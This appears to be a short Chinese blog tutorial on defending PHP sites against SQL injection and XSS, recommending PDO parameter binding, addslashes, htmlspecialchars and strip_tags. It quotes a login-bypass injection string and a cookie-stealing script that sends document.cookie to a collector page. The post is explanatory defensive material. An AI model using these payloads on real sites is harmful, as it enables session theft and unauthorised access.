关于web安全方面的几个防范措施

本文探讨了SQL注入和XSS攻击的基本原理及其防御措施。对于SQL注入,通过使用预编译语句和参数绑定等方法来防止恶意输入;对于XSS攻击,则通过过滤和转义用户提交的数据来避免潜在的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1,关于sql注入

用户提交登录信息的时候可以用 password ' or 1 #   这样原来sql拼接语句就成了  select * from table where username=xxx and password ='password' or 1#' 这样就登陆用户得到了登录信息了。完成了一次sql注入

解决方式

第一:用addslashes  把提交的字符 转义一下特殊字符

第二:用pdo参数绑定的形式

$dbh = new PDO("mysql:dbname=la;host=127.0.0.1","root","");
$sth = $dbh->prepare("select * from users where username=:username");
$sth->execute(array('username'=>$username));
$result = $sth->fetchAll();

第三: 验证数据的正确性了,比如限制字符数量,规定数据类型


2,xss攻击 

这种攻击场景一般就是在评论的时候会提交一些script代码  ,如果没有过滤 。那么危险性比较大,比如写一段

<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
</script>
这一段  当其他的用户点击这个图片的时候,就会自动发送他在这个网站的cookie信息给攻击者,攻击者有了cookie信息,就可以很多事情了,比如获取用户的信息,有可能能直接登录到用户的后台。

解决方式

1,在做评论这种提交数据的时候  用htmlspecialchars  把html的一些东西转换为实体。

2,可以用strip_tags去除掉html标签

3,过滤掉一些scipt标签等 ,需要看具体的业务需求

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值